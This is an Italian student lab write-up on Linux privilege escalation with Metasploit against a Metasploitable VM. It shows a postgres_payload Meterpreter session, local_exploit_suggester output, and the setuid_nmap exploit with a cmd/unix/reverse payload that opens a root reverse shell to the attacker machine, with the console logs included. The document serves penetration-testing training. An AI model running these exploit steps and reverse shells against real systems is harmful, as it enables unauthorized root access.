

ELEVAZIONE PRIVILEGI ROOT

CON MSFCONSOLE



TANCREDI
DE SIMONE

1.Msfconsole e creazione sessione 1

Oggi dovremo partire da un utente senza privilegi amministrativi e provare a elevarli utilizzando un exploit.

Ho verificato che le mie due macchine, Kali e Metasploitable comunicano con un ping.

indirizzo kali **192.168.1.79**

indirizzo Metasploitable **192.168.1.150**

La prima cosa che ho fatto è creare una sessione Meterpreter.

Ho aperto **msfconsole** con il comando.

[illegible]

Ho utilizzato il comando della lezione **exploit/linux/postgres/postgres_payload** e poi ho usato il comando **show options** per vedere le impostazioni dell'exploit. Ho impostato i seguenti parametri:

LHOST **192.168.1.79** (Kali, macchina attaccante)

RHOSTS 192.168.1.150 (Meta, macchina attaccata)

LPORT **4444** (Quella di default)

Ho lanciato l'exploit con il comando **run**, ora ho una sessione meterpreter.

utilizzando il comando **getuid** ho controllato che user sono io e mi ha detto che sono **postgres** e ora l'idea è quella di diventare **root**, ovvero un utente con privilegi amministrativi.

```
meterpreter > getuid
Server username: postgres
meterpreter > shell
Process 5017 created.
Channel 1 created.
sudo -l
[sudo] password for postgres: postgres

Sorry, user postgres may not run sudo on metasploitable.
exit
meterpreter > background
```

Ho utilizzato **background** per mettere appunto la sessione in background, è diventata quindi la sessione 1.

2. Trovare e utilizzare l'exploit

Ora possiamo utilizzare un modulo per farci dire quali sono gli exploit giusti per ottenere i privilegi.

Ho trovato un modulo che fa proprio questo: **multi/recon/local_exploit_suggester** l'ho usato con **show options** ho settato la sessione 1 con **set SESSION 1**

Ho avviato l'exploit.

```
view the full module info with the info, or info -o command.
msf post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.1.150 - Collecting local exploits for x86/linux ...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOid
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOid was here
[*] 192.168.1.150 - 243 exploit checks are being tried ...
[*] 192.168.1.150 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[*] 192.168.1.150 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[*] 192.168.1.150 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 192.168.1.150 - exploit/linux/local/ptrace_sudo_token_priv_esc: The service is running, but could not be validated.
[*] 192.168.1.150 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.1.150 - exploit/linux/local/su_login: The target appears to be vulnerable.
[*] 192.168.1.150 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[*] 192.168.1.150 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 192.168.1.150 - exploit/multi/persistence/ssh_key: The target appears to be vulnerable. Likely vulnerable
[*] 192.168.1.150 - exploit/unix/local/setuid_nmap: The target is vulnerable. /usr/bin/nmap is setuid
[*] 192.168.1.150 - Valid modules for session 1:

#  Name                                                                 Potentially Vulnerable?  Check Result
-  -
1  exploit/linux/local/glibc_ld_audit_dso_load_priv_esc                Yes                      The target appears to be vulnerable.
2  exploit/linux/local/glibc_origin_expansion_priv_esc                Yes                      The target appears to be vulnerable.
3  exploit/linux/local/netfilter_priv_esc_ipv4                        Yes                      The target appears to be vulnerable.
4  exploit/linux/local/ptrace_sudo_token_priv_esc                     Yes                      The service is running, but could not be validated.
5  exploit/linux/local/su_login                                        Yes                      The target appears to be vulnerable.
6  exploit/linux/persistence/autostart                                  Yes                      The service is running, but could not be validated. Xorg is installed, possible desktop install.
7  exploit/multi/persistence/cron                                       Yes                      The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
8  exploit/multi/persistence/ssh_key                                    Yes                      The target appears to be vulnerable. Likely vulnerable
9  exploit/unix/local/setuid_nmap                                       Yes                      The target is vulnerable. /usr/bin/nmap is setuid
10 exploit/linux/local/abrt_raceart_priv_esc                           No                       The target is not exploitable.
11 exploit/linux/local/abrt_report_priv_esc                           No                       The target is not exploitable.
12 exploit/linux/local/af_packet_chocobo_root_priv_esc                No                       The target is not exploitable. System architecture i686 is not supported
```

Ora ho una lista di exploit che potrò utilizzare, per facilitarmi il lavoro ho chiesto all'AI quale potrebbe essere quello più facile e veloce da utilizzare. Mi consigliato il numero 9.

exploit/unix/local/setuid_nmap

Unico problema dovremo settare un payload diverso da quello di default perchè la macchina di metasploitable non è compatibile con esso.

show options e setteremo:

SESSION: 1

PAYLOAD: **cmd/unix/reverse**

LHOST: **192.168.1.79**

poi andremo in **exploit**

```

View the full module info with the info, or info -d command.

msf exploit(unix/local/setuid_nmap) > set session 1
session => 1
msf exploit(unix/local/setuid_nmap) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf exploit(unix/local/setuid_nmap) > run
[-] Exploit failed: linux/x64/meterpreter/reverse_tcp is not a compatible payload.
[*] Exploit completed, but no session was created.
msf exploit(unix/local/setuid_nmap) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(unix/local/setuid_nmap) > run
[*] Started reverse TCP double handler on 192.168.1.79:4444
[*] Dropping lua /tmp/DUXBfjif.nse
[*] Running /tmp/DUXBfjif.nse with Nmap
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo BqgJ6lzJFno6CPob;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "BqgJ6lzJFno6CPob\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 3 opened (192.168.1.79:4444 -> 192.168.1.150:56928) at 2026-05-20 09:30:15 -0400

whoami
root

```

Ora abbiamo creato una nuova sessione in cui abbiamo i privilegi root.
 Per controllare che sia effettivamente così, essendo nella shell, utilizziamo il comando **whoami**

```

[*] Command

whoami
root

```